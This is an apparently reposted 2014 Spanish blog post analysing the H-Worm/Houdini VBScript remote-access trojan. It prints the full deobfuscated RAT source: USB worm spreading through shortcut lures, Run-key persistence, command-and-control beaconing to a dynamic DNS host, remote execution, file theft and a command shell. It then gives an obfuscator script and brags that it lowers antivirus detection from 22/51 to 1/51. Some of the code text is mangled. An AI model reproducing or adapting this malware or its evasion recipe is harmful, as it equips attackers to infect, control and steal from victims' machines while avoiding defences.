miércoles, 5 de febrero de 2014

H-Worm de Houdini, un RAT con un server en VBScript

Recientemente ha caído en mis manos una muestra de un bot en VBS (Visual Basic Script), concretamente un server de un RAT bautizado como mugen.vbs, H-Worm o Houdini, este último nombre en honor a su desarrollador, se cree que de Argelia y creador de la saga njRAT.

Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un poco putada "molesto" ya que oculta las carpetas existentes de los dispositivos USB conectados y crea accesos directos con el mismo nombre para a su vez ejecutarlo.

La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).
En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:

Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close

El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente: host="ejemplo.no-ip.org"port=1085installdir="%temp%"lnkfile=truelnkfolder=truedim shellobj    set shellobj=wscript.createobject("wscript.shell")dim filesystemobj    set filesystemobj=createobject("scripting.filesystemobject")dim httpobj    set httpobj=createobject("msxml2.xmlhttp")installname=wscript.scriptnamestartup=shellobj.specialfolders("startup")&"\"installdir=shellobj.expandenvironmentstrings(installdir)&"\"if not filesystemobj.folderexists(installdir)    then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"end ifspliter="<|>"sleep=5000dim responsedim cmddim paraminfo=""usbspreading=""startdate=""dim oneonceon error resume nextinstancewhile true    install    response=""    response=post("is-ready","")    cmd=split(response,spliter)    select case cmd(0)        case"excecute"            param=cmd(1)            execute param        case"update"            param=cmd(1)            oneonce.close            set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)            oneonce.write param            oneonce.close            shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)            wscript.quit        case"uninstall"            uninstall        case"send"            download cmd(1),cmd(2)        case"site-send"            sitedownloader cmd(1),cmd(2)        case"recv"            param=cmd(1)            upload(param)        case"enum-driver"            post"is-enum-driver",enumdriver        case"enum-faf"            param=cmd(1)            post"is-enum-faf",enumfaf(param)        case"enum-process"            post"is-enum-process",enumprocess        case"cmd-shell"            param=cmd(1)            post"is-cmd-shell",cmdshell(param)        case"delete"            param=cmd(1)            deletefaf(param)        case"exit-process"            param=cmd(1)            exitprocess(param)        case"sleep"            param=cmd(1)            sleep=eval(param)    end select    wscript.sleep sleepwendsub install    on error resume next    dim lnkobj    dim filename    dim foldername    dim fileicon    dim foldericon    upstart    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true    if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4    end if    for each file in filesystemobj.getfolder(drive.path&"\").files    if not lnkfile then exit for    end if    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"    fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")    if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path    else lnkobj.iconlocation=fileicon    end if    lnkobj.save()    end if    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    if not lnkfolder then exit for    end if    folder.attributes=2+4    foldername=folder.name    set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"    foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")    if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path    else lnkobj.iconlocation=foldericon    end if    lnkobj.save()    next    end if    end if    end if    next    err.clearend subsub uninstall    on error resume next    dim filename    dim foldername    shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    filesystemobj.deletefile startup&installname,true    filesystemobj.deletefile wscript.scriptfullname,true    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files    on error resume next    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")    else filesystemobj.deletefile(drive.path&"\"&file.name)    end if    else filesystemobj.deletefile(file.path)    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    folder.attributes=0    next    end if    end if    end if    next    wscript.quitend subfunction post(cmd,param)    post=param    httpobj.open"post","http    //"& host&"    "&port&"/"&cmd,false    httpobj.setrequestheader"user-agent    ",information    httpobj.send param    post=httpobj.responsetextend functionfunction information    on error resume next    if inf=""then inf=hwid&spliter    inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter    inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set os=root.execquery("select * from win32_operatingsystem")    for each osinfo in os    inf=inf& osinfo.caption&spliter    exit for    next    inf=inf&"plus"&spliter    inf=inf&security&spliter    inf=inf&usbspreading    information=inf    else information=inf    end ifend functionsub upstart()    on error resume next    shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true    filesystemobj.copyfile wscript.scriptfullname,startup&installname,trueend subfunction hwid    on error resume next    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set disks=root.execquery("select * from win32_logicaldisk")    for each disk in disks    if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber    exit for    end if    nextend functionfunction security    on error resume next    security=""    set objwmiservice=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)    for each objitem in colitems    versionstr=split(objitem.version,".")    next    versionstr=split(colitems.version,".")    osversion=versionstr(0)&"."    for x=1 to ubound(versionstr)    osversion=osversion&versionstr(i)    next    osversion=eval(osversion)    if osversion>6 then sc="securitycenter2"else sc="securitycenter"    end if    set objsecuritycenter=getobject("winmgmts    \\localhost\root\"&sc)    set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)    for each objantivirus in colantivirus    security=security& objantivirus.displayname&" ."    next    if security=""then security="nan-av"    end ifend functionfunction instance    on error resume next    usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")    if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="    \"&lcase(installname)then usbspreading="true - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    else usbspreading="false - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    end if    end if    upstart    set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)    set installfullnameshort=filesystemobj.getfile(installdir&installname)    if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)    wscript.quit    end if    err.clear    set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)    if err.number>0 then wscript.quit    end ifend functionsub sitedownloader(fileurl,filename)    strlink=fileurl    strsaveto=installdir&filename    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"get",strlink,false    objhttpdownload.send    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subsub download(fileurl,filedir)    if filedir=""then filedir=installdir    end if    strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"post","http    //"& host&"    "&port&"/is-sending"&spliter&fileurl,false    objhttpdownload.send""    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subfunction upload(fileurl)    dim httpobj,objstreamuploade,buffer    set objstreamuploade=createobject("adodb.stream")    with objstreamuploade    .type=1    .open    .loadfromfile fileurl    buffer=.read    .close    end with    set objstreamdownload=nothing    set httpobj=createobject("msxml2.xmlhttp")    httpobj.open"post","http    //"& host&"    "&port&"/is-recving"&spliter&fileurl,false    httpobj.send bufferend functionfunction enumdriver()    for each drive in filesystemobj.drives    if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter    end if    next    end function    function enumfaf(enumdir)    enumfaf=enumdir&spliter    for each folder in filesystemobj.getfolder(enumdir).subfolders    enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter    next    for each file in filesystemobj.getfolder(enumdir).files    enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter    nextend functionfunction enumprocess()    on error resume next    set objwmiservice=getobject("winmgmts    \\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_process",,48)    dim objitem    for each objitem in colitems    enumprocess=enumprocess& objitem.name&"|"    enumprocess=enumprocess& objitem.processid&"|"    enumprocess=enumprocess& objitem.executablepath&spliter    nextend functionsub exitprocess(pid)    on error resume next    shellobj.run"taskkill /f /t /pid "&pid,7,trueend subsub deletefaf(url)    on error resume next    filesystemobj.deletefile url    filesystemobj.deletefolder urlend subfunction cmdshell(cmd)    dim httpobj,oexec,readallfromany    set oexec=shellobj.exec("%comspec% /c "&cmd)    if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall    else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall    else readallfromany=""    end if    end if    cmdshell=readallfromanyend function
Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:

- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos

Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le: Randomizeset fso = CreateObject("Scripting.FileSystemObject")fileName = Inputbox("Ruta del fichero : ")set src = fso.OpenTextfile(fileName,1)body = src.readallset rep  = fso.createtextfile("ofuscado.vbs",true)rep.writeline "Execute(" & Obfuscate(body) & " ) "Function Obfuscate(txt)enc = ""for i = 1 to len(txt)enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "nextObfuscate = enc & " vbcrlf "End FunctionFunction form(n)r = int(rnd * 13000)k = int(rnd * 4)if( k = 0) then ret = (r+n) & "-" & rif( k = 1) then ret = (n-r) & "+" & rif( k = 2) then ret = (n*r) & "/" & rform = retEnd Function
Y la detección baja de 22/51 a 1/51... }:P

Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

No hay comentarios:

Publicar un comentario